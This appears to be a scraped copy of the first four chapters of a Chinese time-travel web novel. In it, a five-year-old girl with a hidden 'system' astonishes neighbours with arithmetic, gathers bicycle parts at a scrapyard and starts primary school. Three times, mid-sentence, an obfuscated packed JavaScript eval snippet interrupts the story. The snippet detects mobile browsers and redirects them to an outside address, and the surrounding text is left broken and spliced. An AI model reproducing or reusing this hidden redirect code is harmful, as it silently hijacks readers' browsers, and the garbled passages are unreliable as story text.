《快穿后在年代文当神童》 1. 买肉 天蒙蒙亮,月亮还没完全下去呢,红星机械厂的家属院已经热闹起来了。 据小道消息,今天供销社会有一批不用票的肉,这年头,有钱未必能买到肉,更别说不用票的新鲜肉了,不少人家天不亮就揣着钱出门,生怕去晚了连肉渣都捞不着。 以往会睡到太阳晒屁股的王钰,今天却十分罕见的早起了,既是因为卖肉兴奋,也是因为要去供销社了。 就算王钰是机械厂双职工的独生女,听到肉这个字,那也是馋的,毕竟有钱也不一定有票买肉啊。 而且去供销社,王钰就能缠着外婆买奶糖吃了! “哎呦喂,我的小宝咋醒这么早?”赵凤霞正在蒸红薯,见外孙女跑出来,立马放下手里的东西把她抱起来。 王钰笑嘻嘻的:“因为今天要去供销社。” 赵凤霞听到这话,心疼道:“小宝馋肉了是不是,走,咱们今天能买多少肉就买多少肉!让小宝吃个够!” “妈,您别总惯着她。”刘向华坐在桌子旁扒拉稀饭听到这话,赶紧说道:“她前几天刚吃了肉丸子,哪里会缺肉,咱们这一片,就属咱们家吃肉吃得最勤了。” 赵凤霞不满刘向华的话:“哪里勤了,又没有每天都吃,小孩子就该多吃点肉才长得快!你小时候不也馋肉?你还抢你妹妹的肉吃呢,现在倒管起我外孙女了?” 王钰赶紧搂住外婆的脖子,软声软气地哄:“外婆最好啦!等我考上大学,天天给你做红烧肉,顿顿都有肉吃!” “好嘞好嘞!”赵凤霞笑得眼角的皱纹都挤到了一起,在她脸上亲了口,“外婆就盼着咱小宝有出息,将来和你妈妈一样,也做大学生!” 刘向华无奈地摇摇头,收拾收拾上班去了。这祖孙俩的腻歪劲儿,自打王钰会说话就没断过,她早就见怪不怪了。 身为父亲的王建军倒是比闺女起得还晚,刘向华都出了门,他才打着哈欠从里屋出来。 赵凤霞一向是看不惯王建军的,看到他这么晚才起来,更是没好气,但是王钰就在旁边,也不好当着孩子的面说她爸。 好在王钰已经吃完早饭了,她干脆带着王钰去供销社了,眼不见心不烦。 一出门,就撞见隔壁的沈奶奶牵着沈晓兰。沈奶奶裹着蓝布褂子,沈晓兰梳着两个羊角辫,看到王钰后,脸激动得红起来了。 沈奶奶嗓门洪亮:“凤霞妹子,也去买肉啊?” “可不是嘛,这不用票的肉,谁不想抢一块。”赵凤霞笑着应道,两人一边走一边唠起了家常,说的无非是哪家的孩子不听话,哪家的媳妇又跟婆婆拌嘴了。 沈晓兰靠近王钰拉住她的手:“小宝,咱们今天还去废品收购站玩吗?” 王钰使劲点头:“去!” 沈晓兰又靠近了一点王钰:“我有点害怕那个大爷。” 王钰小手一挥:“有我保护你!我可是无敌的王子!” 沈晓兰眨眨眼:“什么是王子啊?。” 王钰说得斩钉截铁:“王子就是很厉害的人。” 沈晓兰:“哇,好厉害,我也想当王子,我不姓王可以当王子吗?” 王钰歪着脑袋想了想,一拍小手:“那你跟我姓!叫王晓兰,这样就能当王子啦!” 沈晓兰笑得露出两颗小虎牙:“太好啦,那我以后就跟你姓了。” 沈奶奶还在后面跟赵凤霞聊天,没发现自家孙女已经悄悄改姓了。 到了供销社,果然人很多,虽然还没开门,但是已经排起了大长队。 沈奶奶赶紧拉着沈晓兰去排队,嘴里骂骂咧咧的:“一个个的,来这么早,家里都没活的吗?要不是刚子哭个不停,我早就过来排队了。” 赵凤霞倒不慌不忙:“急啥?我家爱华说了,今天的肉虽然免票,但每户定量半斤,保准能买到。”她闺女刘爱华在供销社上班,这内部消息自然灵通。 队伍很长,但好在供销社的人手脚很麻利,没过多久就排到赵凤霞她们了。 卖肉的那个售货员小李明显认识赵凤霞,一看到她,就热情打招呼:“赵姨,你也来买肉啊!” 赵凤霞大着嗓门应着,伸头往肉案上瞅:“是啊,咱这肉看着真新鲜啊。” 小李凑近了些,压低声音:“赵姨,您咋还排队呢?下次让爱华给您留着,省得遭这罪。” 赵凤霞挥挥手:“你们也留不了太多啊,我给我外孙女买呢,多买点,让她吃得开心。” 小李低头一看,就见个白白嫩嫩的小丫头正冲她笑,声音甜滋滋的:“姐姐好。” 这年代日子苦,孩子大多面黄肌瘦,像王钰这样白白嫩嫩的少见得很。 小李打心眼里喜欢,从兜里掏出两颗水果糖,递了过去:“哎呦,这就是爱华常说的小宝吧?真是越长越俊,一看就聪明!” 王钰美滋滋的接过糖塞进口袋里:“谢谢姐姐,你也很好看。” 谁会不喜欢别人夸自己好看,更何况是个五岁的小孩,小孩子根本不会说谎! 小李被哄得眉开眼笑,揉了揉她的脑袋,拿起刀就从肉案上挑了块带肥的五花肉递给赵凤霞,这年代肥肉金贵,能炼油炒菜,是最抢手的。 就在这时,旁边突然传来一阵争吵声。 “你个小妮子!算账都不会算,赶紧把多收的钱给我退回来!” 王钰个子矮,被人群挡得严严实实,只能听见声音。她拍了拍赵凤霞的腿,赵凤霞立马心领神会,抱着她挤了过去看热闹。 只见一个大妈梳着油亮的发髻,穿着的确良的衣服,一手叉腰一手拎着网兜,唾沫星子乱飞地指着一个年轻售货员骂。 那售货员看着不过二十出头,穿着同样的蓝色工装,脸吓得惨白,只能不断解释:“大妈,我没算错,你买的这些东西就是一共四毛七。” 大妈嗓门更高了:“放屁!我上次来买这些东西就花了四毛五!你是不是想贪下这些钱!你这是资本主义作风!” 售货员听到“资本主义作风”这几个字,脸都吓白了,哆哆嗦嗦的,眼泪在眼眶里打转,连解释的话都说不清楚了。 小李脸色一沉,正要上前解围,这帽子可不能扣在供销社头上。结果就看见王钰高高举起自己的小手,脆生生地喊:“我来帮你们算!我算数很厉害!” 那个大妈扭头一看,居然是个屁大点的小孩,嗤笑一声说道:“毛都没长齐呢,认得清一二三吗?别在这儿添乱!” 周围的人也跟着笑:“小孩家家的,一边玩去,大人的事别掺和。” 赵凤霞听着那大妈的话,非常不开心,在她心里,她外孙女那可是天上下来的文曲星,她抱着王钰又往那大妈走进了两步,怒喝:“你瞧不起谁呢!我女儿可是大学生!我外孙女以后也会上大学的!这点账还能算不明白?” 周围人听到大学生,都惊讶:“大学生啊,那肯定很聪明!” 虽然现在处于特殊时期,很多文化人都下乡下棚了,但是对于普通人来说,对于大学生聪明这件事还是很认同的。 王钰听到这话,也高高扬起下巴:“我妈还是机械厂的工程师呢!” 周围人赞叹声更大了:“工程师啊!那确实聪明!” 机械厂的工程师可比大学生还吃香,那都是有真本事的!一个人的工资足够养活一家人。 王钰听到众人的夸赞声,满意了,扭扭身子从赵凤霞怀里下来,跑到售货员面前。 “姐姐,你说说,她买了什么?” 这个新手售货员的眼睛还有点微红,但说话还算清晰:“买了一只铅笔七分钱、一个作业本一毛五、六块硬糖五分钱、一盒火柴两分钱、一斤面粉一毛八。” 王钰边听边算,几乎是在售货员刚说完的瞬间,就报出了结果:“一共四毛七!这个姐姐没有算错!” 大妈还是不肯相信:“你乱算的吧!谁算数那么快,肯定是听她报了数瞎跟着说!” 王钰朝她做了个鬼脸:“你这么笨当然觉得算数难啦,我那么聪明,肯定算的又快又准啦。” 小李看清楚这个大妈的脸,心里就大概有数了,这是革委会黄主任的娘,平时就爱占便宜。 担心王钰得罪人,小李赶紧上前打圆场:“哎呀,大妈,应该是上次那人不小心算错了,你现在买的东西,确实是这个数没错,小悠,把钱找给人家,别耽误事了,好多人还在等着呢!” 小悠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958565|193248||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小声说:“我已经把钱找给她了。” 看到大家都说是这个数,大妈也不好再胡搅蛮缠下去,用力哼了一声,就推开人群走了,有人甚至差点被她推倒在地。 小李凑近赵凤霞的耳朵,小声说:“刚才那个黄大妈她儿子是革委会的,往后遇上了多留心点。” 赵凤霞了然,看来上次她买东西被少算了钱,不一定是不小心的了。 “这小孩可真厉害!算得又快又准!” “不愧是大学生的闺女,工程师的娃,就是聪明!” 周围的人都围着王钰夸赞,王钰得意地扬着脑袋,小胸脯挺得高高的。 其他等着付账的人也乐意逗逗这小丫头,一个大爷笑着问:“小孩,我买了一斤煤油和一盒火柴,多少钱啊?” 王钰问小悠:“姐姐,煤油和火柴多少钱?” 小悠小声说:“煤油八分钱一斤,火柴两分钱一盒。” 王钰听到后,坚定的对那个人说:“你要付一毛钱。” “哎,对喽!真聪明!”大爷笑得合不拢嘴。 “小孩,那我呢?我买了一斤酱油。” “你一毛五。” “真厉害啊!算得真准。” 就这样,王钰和那些人一问一答,一问一答,小悠就在后面收钱找钱,收钱找钱。 王钰回答的越来越快,小悠收钱的速度也越来越快,最后还是赵凤霞急着回家,才打断了两人的配合。 王钰走之前,小悠往她口袋里塞了个鸡蛋,小声说:“等你下次来,我请你吃鸡蛋糕。” 王钰听到这话,开心的眯起眼睛:“谢谢姐姐,姐姐加油。” 赵凤霞带着王钰回家之后,就让王钰在院子里玩,或者去隔壁找沈晓兰玩,她自己得抓紧时间做家务了。 王钰没有出去玩,她回到自己房间里,坐在书桌面前摆出看书的模样。 她在脑海里问天书:【天书天书,我要看动画片。】 天书看着王钰这幅撒娇的模样,简直没眼看。 天书本来是王钰的系统,现在这幅天书的模样,是它的皮肤。 她们已经一起度过了一百个快穿世界正式退休了,本来这次她们是准备去一个度假世界休息几百年的,结果却遇上了时空乱流。 天书在时空乱流中为了保护王钰,受损严重,只来得及将她投放到一个安全的世界,就紧急关机了。 五年后,天书终于在王钰五岁生日那晚重新开机了。 好消息:王钰这五年过得很好。 坏消息:王钰失忆了,她成了一个普通的小孩了。 更坏的消息:它联系不上总部了,并且它的大部分功能因为受损并且没有能量修复而不能使用,现在只有简单的查询功能,并且因为数据缺失,查询的内容不仅受限制而且还查不全。 好在,还剩下最基础的获取能量的方法,就是靠收集周围人的情绪作为能量,例如周围人对王钰的喜爱、厌恶等情绪,等它收集到足够的能量,就可以解修复受损的功能,查询内容也可以扩大。 现在失去记忆,只是一个普通小孩的王钰,自然不能靠吸取厌恶作为能量,这可能会危害到王钰自身的安全。 那就只剩下一种办法了,靠吸收周围人的喜爱,这个年代,什么小孩子最受人欢迎,自然是神童啦! 于是,从五岁生日之后,天书就开始忽悠王钰学习。 可惜,天书没想到失去记忆的王钰,居然是一个这么爱偷懒撒娇的小孩,让她学习加减乘除,学了两天都没学完,天书快气晕过去了。 好在天书最后还是找到了方法——有效学习一个小时,就可以看十分钟动画片。 天书就靠这个,吊着王钰学完了小学的加减乘除,还好结果是好的,王钰也不是真的蠢,只是不爱学习。 认真学了两个小时之后,她就已经可以非常快速的算出百位数以内的加减乘除了。 天书在王钰脑海里说:“今天我们学习方程。” 王钰见自己在长辈那百试百灵的撒娇大法居然没有用,叹了口气,然后就打开书专心的学习了,毕竟天书算的是有效学习时间,发呆是不算数的。 2. 去废品收购站 日头爬到中天,赵凤霞擦了擦手上的水,端着炖得奶白的大骨头汤放到桌子上。 去叫王钰吃饭的时候,特意放轻了脚步,往里一瞧,只见小丫头端端正正坐在书桌前,脊背挺得笔直,小手还放在桌上,眼睛直勾勾盯着书看。 赵凤霞心里那叫一个骄傲,不愧是她张凤霞的外孙女,别家孩子这会儿都在院子里疯跑,她叫着出去玩都不肯,一门心思在家看书,将来准是有大出息的!说不定还能当上机械厂的厂长,光宗耀祖的嘞! 赵凤霞原本就温柔的声音,这时候更是腻歪:“小宝,我的乖孙孙,该吃午饭啦!外婆炖了大骨头汤,熬了一上午,香得很!” 沉迷看动画片的王钰,听到这话,她头都没抬,语气有些敷衍:“外婆,我等会儿再去嘛。” 赵凤霞脸上的笑容更大了,她靠近王钰,想把她抱起来:“哎哟,咱小宝就是懂事,知道用功读书。可饭也得吃呀,人是铁饭是钢,吃饱了才有力气学本事。快,骨头汤都要凉了。” 外婆都把话说到这份上,王钰也没法再赖着看动画片了。 她恋恋不舍地在心里跟天书说:【先暂停,吃完再看】。 然后搂住赵凤霞的脖子,软乎乎地撒娇:“来啦来啦!外婆做的大骨头汤最香了,我要喝两大碗!” 赵凤霞抱着王钰来到饭桌前,桌子上摆着三个菜,一道豆芽,一道焖茄子,还有一道大骨头汤,主食是红薯粥。 王钰小时候身体不好,赵凤霞听从医生的建议经常给她吃肉蛋奶,肉票紧张,买肉难,张凤霞就经常买骨头回来炖汤给王钰补身子。 每每看到外孙女白白嫩嫩、蹦蹦跳跳的模样,赵凤霞就很得意,这可都是她一口汤一口肉喂出来的。 赵凤霞拿起勺子给王钰盛了碗汤:“你爸妈最近忙得脚不沾地,中午在厂里食堂对付了,中午咱们就先吃骨头汤,晚上外婆给你做红烧肉!” 王钰举起小胳膊欢呼:“外婆最好了,我最喜欢外婆做的红烧肉了!” 赵凤霞乐呵呵:“喜欢就多吃点。” 她跟这年代大多人想法不一样,旁人买了肉总舍不得吃,非得留到过节,最后肉都放得有点变味了才舍得做。赵凤霞却觉得,好东西就得趁早吃进肚子里,才算不亏,反正早晚都是要吃的,早吃早享受。 吃完午饭,王钰跟着外婆小睡了一觉。刚醒过来,就背上外婆准备好的斜挎包,一溜烟跑到隔壁找沈晓兰:“晓兰,走,去废品站!” 沈晓兰听见声音立马从屋里跑出来,也背着一模一样的斜挎包:“来啦来啦!我带了水壶,等会儿渴了能喝水。” 两人手拉手往废品收购站走。 废品收购站是个瞎了一只眼睛的跛脚大爷在守着,听周围人说,这大爷当年可是打过鬼子的好手,后来在战场上被鬼子的炮弹炸伤了眼睛和腿,伤好后就从部队退下来了,组织上特意给了他这个看门的差事,让他安度晚年。 或许是上过战场的缘故,王大爷身上总带着股不怒而威的气质,脸常年绷着,话也少,院里的小孩大多怕他,除了王钰。 到了废品收购站门口,王钰扬起一个大大的笑容朝王大爷招手:“王爷爷,我们来了。” 王大爷正坐在门口抽烟,听到声音,缓缓抬起头,脸上没什么表情,只闷闷地应了一声:“嗯。” 王钰打完招呼之后就进去了,沈晓兰紧紧跟在王钰后面进去。 沈晓兰就是周围怕王大爷的小孩之一,每次看到王大爷那只瞎掉的眼睛,她都怕得不行,如果不是王钰要来这个废品站,沈晓兰永远都不会来这里。 废品收购站其实真的大部分都是废品,这时候物资比较匮乏,但凡还能继续使用的东西一般都不会出现在废品收购站。 沈晓兰和王钰也不怕脏,一进来就开始翻找了,沈晓兰主要找找有没有小人书,而王钰想找找有没有自行车的零件。 是的,自行车零件,王钰从很早之前就想要一辆属于自己的自行车!她这个身高能骑的! 有了自行车,她就能骑着车到处玩,就不用坐在妈妈那辆二八大杠上颠屁股,最重要的是,如果她有属于自己的自行车,那将非常有面子! 但是爸妈有没有能力给她买是一回事,就算有钱有票买,市面上也没有她一个五岁小孩能骑的自行车。 于是,她决定自己造自行车,就像她外婆说的,人有多大胆,地有多大产! 废品站的大部分废品来自于农机站和国营工厂的报废品,王大爷把这些东西大致分类堆在了一块,也方便了王钰寻找。 王钰家里就有一辆自行车,为了能造出属于自己的自行车,王钰已经观察了那辆自行车好几个月了,如果不是刘向华不让她动手拆,她说不定早就造出来了。 王钰翻出来半截链条,仔细的和前几天找到的链条对比,感觉应该是一个型号,为了保险起见,她在脑海里问天书:“天书,这两个链条能不能合在一起?” 天书:“可以的。” 听到这话,王钰满意地将链条放进篮子里。 不知道翻找了多久,直到沈晓兰来找她了,她才从废品中抬起头来。 沈晓兰举起手里有些破烂的小人书,开心道:“小宝,你看,我又找到一本小人书!还是我没看过的!” 沈晓兰是小人书重度痴迷者,字还没认识几个呢,就天天吵着看小人书了,但是家里人没有那么多钱给她买小人书,她就只能来废品站碰碰运气了。 王钰微微瞪大眼睛,鼓掌:“好厉害!居然又找到一本!” 沈晓兰嘿嘿一笑:“明天我们一起看小人书!” 王钰点点头:“好!我们现在出去吧!我今天也找到好多东西。”王钰旁边的篮子里满满当当的,甚至还有几根钢管。 两人互相鼓励,嘿咻一声一起提起了篮子,对于两个五岁小孩来说,这篮子还是太重了,走了没两步就气喘吁吁地放下了,小脸憋得通红。 就在这时,王大爷慢悠悠地走了过来,他一只手就轻轻松松地提起了竹篮,面无表情地走到门口,开始清点里面的东西:“一共五块六。” 然后扭头对沈晓兰说:“你这个两分钱。” 王钰笑嘻嘻地从兜里掏出五块六递给王大爷,也就是赵凤霞溺爱王钰了,听说王钰要去废品站找零件造自行车,一边大呼我外孙女果然是文曲星下凡,一边给王钰掏钱。 沈晓兰也小心地递给王大爷两分,沈晓兰就没王钰那样大方的外婆了,这钱都是她小心的攒下来的,平常都不舍得花。 王钰指着篮子:“王爷爷,今天还是一样,这些东西先放在你这,你帮我看着点呀。” 王大爷闷闷的回了一句:“嗯。” 王钰拉着沈晓兰跟王大爷挥手:“王爷爷再见。” 王钰回到家里,刘向华还没回来,王建军倒是已经回来了,这时候正拿了个小马扎坐在门口吹风,嘴里还吃着棒冰。 王钰一眼就看见了棒冰,眼睛都直了,立马跑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958566|193248||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过去抱着王建军的胳膊撒娇:“爸!我也要吃棒冰!我好久没吃了!” 王建军指了指厨房的位置:“你前几天可刚吃了,你外婆可限制你一周只能吃一次。” 王钰之前有一次吃棒冰吃多了,半夜肚子痛去医院了,一直在医院待了两天才好起来,从那之后,刘向华和赵凤霞就限制王钰一周只能吃一次棒冰。 好像是听到了王钰的声音,赵凤霞从厨房里探出头来,原本表情紧绷的赵凤霞,看到王钰,立马露出一个笑容:“小宝回来了啊,快来,外婆给你擦汗,外婆给你做了红烧肉,你晚上多吃点。” 王钰拉长语气:“好~我最喜欢外婆做的红烧肉啦!” 赵凤霞拿出帕子仔细地给王钰擦汗,生怕她被风一吹又感冒了。 王钰跟赵凤霞分享今天的收获:“外婆,我今天又从废品站找了一篮子的零件,再给我一星期时间,我肯定可以把自行车做出来,到时候我骑车带外婆去逛菜场,去看电影。” 赵凤霞被王钰逗的直笑:“好!外婆就等着咱们小宝骑自行车带外婆到处溜达,到时候一定跟街坊邻里好好显摆显摆,我外孙女造的自行车,肯定是最棒的!” 王钰拍拍胸膛:“包在我身上。” 到了晚饭时间,刘向华终于回来了,刚好赶上吃饭。 家里人不多,但是菜可不少,赵凤霞把红烧肉放在离王钰最近的地方,顺便还给她夹了一筷子的红烧肉:“小宝,快吃。” 刘向华最近好像很忙,吃饭的时候猛猛扒了好几口饭,一看就是饿坏了。 赵凤霞看见王钰和刘向华都吃得这么认真,脸上的笑都要藏不住了,她忽然想到什么,问刘向华和王建军:“明天小宝第一天上学,你们要不要一起送送小宝。” 刘向华摇摇头:“我去不了,单位最近很忙。” 王建军也摇摇头:“我也去不了。” 得到两个否定的答案,赵凤霞冷哼一声:“一个个就知道忙,再忙哪有小宝重要!” 刘向华连忙说:“妈,那不是有你嘛,小宝最依赖你了,有你在我们就放心了,我们忙也是想升职,这样以后没人敢欺负咱们小宝!” 赵凤霞勉强被安慰到,但语气还是不好:“那也不能就把小宝丢给我一个人啊!你们还是不是她亲爸妈了!” 刘向华:“是,那肯定是啊,等忙完这段时间,咱们就带小宝回老家玩一段时间好不好?” 赵凤霞:“这还差不多,小宝可是你们唯一的孩子。” 刘向华当初生王钰的时候难产,折腾了一天一夜才把孩子生下来,虽然后面勉强生下来了,但是王钰的身体却不太好,病殃殃的,刘向华也留下了心理阴影,于是两人就决定只生王钰一个孩子。 为了避免亲戚们上门催生,王建军找了个机会假装受伤,然后对外说自己生不了了。 这招确实管用,亲戚们再也没人提催生的事,但是也让张凤霞对王建军越发看不上了,本来她对于她闺女一个大学生嫁了一个农村初中生就格外有意见,特别是王建军还特别懒,现在王建军还生不了,那真是除了一张脸,什么都拿不出手。 同时也让当初的张凤霞对那会刚出生没多久的王钰格外怜惜,身体这么弱的小婴儿,还没有兄弟姐妹帮扶,以后日子得有多难过啊。 王钰听不懂大人们的心思,只顾着低头吃肉,嘴里塞得满满的,含糊不清地说:“外婆送我就好啦,我最喜欢外婆了,外婆送我上学,我肯定高高兴兴的!” 3. 上学第一天 机械厂有一个幼儿园,机械厂的工人们如果没空带小孩,就会把孩子丢到幼儿园去,等下班了再接回来。 但是王钰之前身体不好,赵凤霞舍不得她被放到幼儿园,就从王钰舅舅家刘大柱那搬到了刘向华这照顾王钰,这一住就是近五年,就算现在王钰身体好很多了,赵凤霞也舍不得离开王钰。 王钰那是打小就聪明,在别的孩子连爸爸妈妈都说不清楚的时候,王钰就已经可以口齿流利地向赵凤霞要糖吃了。 那一声一声的外婆,叫得赵凤霞的心都软了,王钰要星星就给她星星,要月亮就给她月亮。 机械厂的小学,一般都是六七岁开始上,王钰现在刚过五岁就吵着要去上学,赵凤霞就算不舍得,就随了王钰的意。 王钰要去上小学了,那跟她好得能穿同一条裤子的沈晓兰也自然吵着要去上学,沈家虽然不是和王家那样只有王钰一个孩子,但也是疼沈晓兰的,这会沈晓兰吵着闹着要去上学,也就只能去上了。 因为是上学第一天,王钰激动得早早起床了。 赵凤霞早一星期前就托闺女刘秀英要了块藏青色的粗布,连夜缝了个帆布书包,又让刘秀英在供销社买了带橡皮头的铅笔、方格作业本,还有一块印着小红花的橡皮,全是崭新的。 王钰起床之后,连早饭都没吃,就背起了斜挎包,还把文具塞进了包里。 赵凤霞把红薯粥端出来的时候,看到王钰正乖乖坐在凳子上,笑道:“这么喜欢上学啊!连书包都提前背上了。” 王钰点点头:“喜欢上学!上学赚大钱,给外婆买金镯子!” 赵凤霞笑呵呵:“好,外婆等着。” 今天早上,一家人是同时吃完早饭,离开家的,不过方向不同,一出门就分开了。 王钰走到沈晓兰家门口,用力敲门:“晓兰,去上学啦!” 不一会,沈晓兰就跑来开门了:“我收拾好了,咱们走吧!” 沈奶奶无奈的看着沈晓兰:“你早饭还没吃呢。” 沈晓兰伸手想拉着沈奶奶走:“边走边吃,快走了,不然等会要迟到了。” 沈奶奶只好递给她一个红薯,然后转身把门锁了,陪她一起去学校。 两个小孩在前面蹦蹦跳跳,后面两个大人在聊一些家长里短。 很快到了学校,赵凤霞拉着王钰去排队报名。 虽然前几年外面闹得轰轰烈烈,很多学校都停课了,但是机械厂的学校还是一切正常的。 厂长赵勇顶着压力,硬是不让关,身为机械厂的厂长,他最明白文化人对于厂的重要性,大家都不读书了,以后谁来给他研发新机器? 也正是有这样一个厂长,机械厂里的员工都挺乐意送小孩来上学的。 报名的队伍排得不算长,很快就轮到了王钰。收费的老师是个中年妇女,戴着副黑框眼镜,面前摆着个登记本和算盘。 收费老师问道:“叫什么?” “王钰。” “多大了?” “虚岁六岁,周岁五岁。” 老师这才抬起头,推了推眼镜,打量了王钰一番,笑着说:“这么小就来上学啦?上学可不是玩闹,得坐得住、听得进才行哦,你年纪这么小,还能再上一年幼儿园。” 王钰骄傲的点头:“老师,我坐得住!我可爱上学了,我以后还要上大学!” 老师在登记表上写下王钰的名字,笑道:“好姑娘,有志气!” 检查了一下王钰的户口本,交了一块五的学杂费之后,就算是报名成功了。 老师在登记本上打了个勾,说道:“行了,报名成功了,去那边等着分教室吧。” 紧接着就轮到了沈晓兰。 “叫什么名字?” 沈晓兰胸脯一挺,自信满满地开口:“王晓兰!” 听到这坚定的三个字,站她旁边的沈奶奶都控制不住自己脸上的表情了,伸手拍了拍她的后背:“你这孩子傻了?你叫沈晓兰!你姓沈!” 老师也抬起头看着两人。 沈晓兰却摇摇头,一脸理所当然:“我不姓沈,我姓王!我要跟着小宝姓!” 王钰也在旁边附和道:“是这样的,晓兰昨天说她要跟我姓!” 沈奶奶:“你们两个怕不是要上天,你们看看周围,哪有孩子和爹不是同姓的?这像话吗?” 沈晓兰歪着脑袋,一脸认真:“那以后让爸爸跟我一起姓王不就可以了,我们全家都姓王,这样就不奇怪了。” 后面排队的家长都忍不住笑了起来。 沈奶奶也被气笑了:“爹跟女儿姓是吧,你晚上回去跟你爸说,看看你爸同不同意!” 说完转头对老师说:“这孩子叫沈晓兰,这是我们的户口本。” 老师一边憋笑,一边接过户口本登记。 赵凤霞笑得直不起腰,拍着沈奶奶的肩膀:“你家这孙女,可真有想法!以后肯定是个有主见的!” 俩小孩不明白为什么周围大人都在笑,只是嘀嘀咕咕说这些大人真奇怪。 报名当天也是要上课的,俩小孩手牵手一起去找教室。 教室里满满当当坐着许多小孩,小孩们基本都有认识的人,叽叽喳喳的讲个不停。 班主任赵东一进门,就被这乱糟糟的场面弄得头大。他二十多岁,穿着件的确良白衬衫,头发梳得整整齐齐,手里拿着一根竹制教鞭,脸上没什么表情。 他本来是教高中数学的,因为之前的学校停课了,还有被学生举报的风险,就被家里人安排来这里的,但是他对于教小孩可一点经验都没有。 “别吵了!安静!”赵东拿起教鞭,在讲台上敲了敲桌子,“砰砰”的声音让教室里瞬间安静了不少。 “我是你们的班主任赵东,以后教你们数学。现在按高矮个排队,我给你们安排座位。” 赵东按照高矮顺序给大家重新安排了位置,王钰和沈晓兰因为年纪小,个子比较矮,被安排在了第一排做同桌。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958567|193248||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安排好座位,赵东就开始讲规矩,从上课不能说话、不能打闹,讲到下课要按时回教室,足足讲了十分钟。 坐在第一排的王钰还没开始正式上课,就已经体会到什么是上课犯困了。 明明昨天昨晚上睡得饱饱的,但是赵老师一开口,王钰还是忍不住把上眼皮和下眼皮合上了。 一直到沈晓兰戳了戳王钰,王钰才从睡梦中醒过来:“下课了吗?” 沈晓兰摇摇头:“没有,老师去搬书了,等会要给我们发书。” 机械厂财大气粗,不像别的学校那样一本书轮流用,这里每个孩子都能领到崭新的课本,让不少外面的学校都羡慕。 第一堂课是赵东的课,看着在讲台上讲课的赵东,王钰非常不理解,为什么这么简单的东西要翻来覆去的讲? 为什么要从一数到十,还要重复好几遍? 不知不觉,王钰的眼睛又闭起来了。 赵东暼了一眼已经睡着的王钰,没有管她,只是心里暗自摇头:又是一个来混日子的,第一堂课就打瞌睡,以后肯定也学不来的。 早上的时间过得很快,赵凤霞这边才刚做完午饭,学校就已经快下课了。 赵凤霞刚走到学校门口,就听到学校的铃声了,在门口等了不到一分钟,就看到自家的小宝背着书包,和沈晓兰手拉手冲出来了。 赵凤霞一把抱住王钰:“哎呦,小宝,上学怎么样呀,听得懂吗?” 王钰大声说道:“听得懂!老师讲得我都能听得懂!” 在她后面不远处,端着饭盒准备去食堂的赵东,听到这句话,满脸震惊的看着王钰。 你还听得懂?我一节课你几乎都在睡觉,果然是做梦了吧!现在都还没睡醒呢。 赵凤霞没看到赵东,只看到自家小宝脸上的骄傲,她一把抱起王钰,另一只手牵住沈晓兰:“好!我就知道咱们小宝聪明,晓兰,你奶没时间来接你,你跟我回去。” 下午上课的时候就比较有意思了,就两节课,劳动课和政治课。【半架空年代文,请勿带入现实】 说是劳动课,但实际上一年级的小孩能做什么,把自己桌子上的垃圾捡干净后,就一窝蜂去操场上玩了。 王钰性格开朗,和很多人都玩得好,她一出教室,就有好几波人邀她一起玩,最后她选择带着沈晓兰一起去玩打鬼子的游戏。 王钰一只手举起纸壳做的手枪,一只手将沈晓兰护在身后:“冲啊——” 就这样玩到了下课,下一节政治课,老师带着他们学习先进人物的事迹,王钰就当听故事一样,听得津津有味。 到了放学时间,赵凤霞没空来接王钰,王钰就和沈晓兰一起回去。 回去的路不算远,大概要走十五分钟,但是王钰还是累的有点喘。 终于到家了,她扭头对沈晓兰说:“咱们一定要把自行车造出来!走路太累了!” 沈.走十五分钟轻轻松松.晓兰用力点头:“嗯!” 4. 丢沙包 回到家里,厨房里已经飘出了饭香,赵凤霞正在灶台前忙活。 王钰甩着小书包,脆生生喊了声“外婆”,不等赵凤霞应声,就跟一阵风似的蹿进了里屋,书包随手扔在床沿上。 天书:【小宝,快点学习,争取这两天把初中数学学完!】 王钰有些不情不愿,企图跟天书谈判:【先给我看两集动画片嘛,就两集,看完立马学!】 天书:【不行哦。】 王钰:【可是学习好无聊啊,我不想学习,我想出去玩。】 天书诱惑到:【等你学完初中语文和数学,就开放物理化学课程啦。物理里有杠杆原理,书上还教怎么造自行车,甚至能做出不用蹬的代步车,骑着它去学校,比跑着快多啦,那得得多有面子,想不想试试?】 王钰听得眼睛越来越亮:【真的吗?不用自己蹬的自行车真的可以造出来吗?那岂不是更方便啦!太好了,我要学!】 天书语气肯定:【当然可以,你以后还能造出飞机,这样你早上吃完饭,坐上飞机,一眨眼就能到学校了!】 